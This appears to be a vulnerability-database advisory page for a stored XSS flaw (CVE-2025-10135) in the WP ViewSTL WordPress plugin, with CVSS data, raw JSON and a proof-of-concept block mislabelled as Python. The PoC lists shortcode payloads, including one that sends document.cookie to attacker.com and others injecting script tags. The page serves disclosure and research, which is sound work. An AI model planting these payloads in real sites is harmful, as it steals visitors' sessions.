Security Vulnerability Report
中文
CVE-2025-10135 CVSS 6.4 MEDIUM

CVE-2025-10135

Published: 2025-10-15 09:15:38
Last Modified: 2026-04-15 00:35:42

Description

The WP ViewSTL plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'viewstl' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP ViewSTL <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10135 PoC: Stored XSS via WP ViewSTL shortcode --> <!-- Attackers with contributor-level access can inject the following shortcode into a post or page --> [viewstl model="test.stl" onerror="alert('XSS-Vulnerability:'+document.cookie)" width="500" height="500"] <!-- Alternative payloads that bypass basic filters --> <!-- Payload 1: Using event handlers in attributes --> [viewstl src="x" onmouseover="fetch('https://attacker.com/steal?c='+document.cookie)"] <!-- Payload 2: Using javascript: URI scheme in URL attributes --> [viewstl model="javascript:alert(document.domain)" width="100" height="100"] <!-- Payload 3: Using HTML injection via shortcode attributes --> [viewstl title='"><script>alert("Stored-XSS-CVE-2025-10135")</script>'] <!-- Once submitted and published, when any user visits the page containing this shortcode, the malicious JavaScript will execute in their browser context. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10135", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:37.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP ViewSTL plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'viewstl' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/wp-viewstl/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/882070df-8a76-490b-a77c-03cdf84c481f?source=cve", "source": "[email protected]"}]}}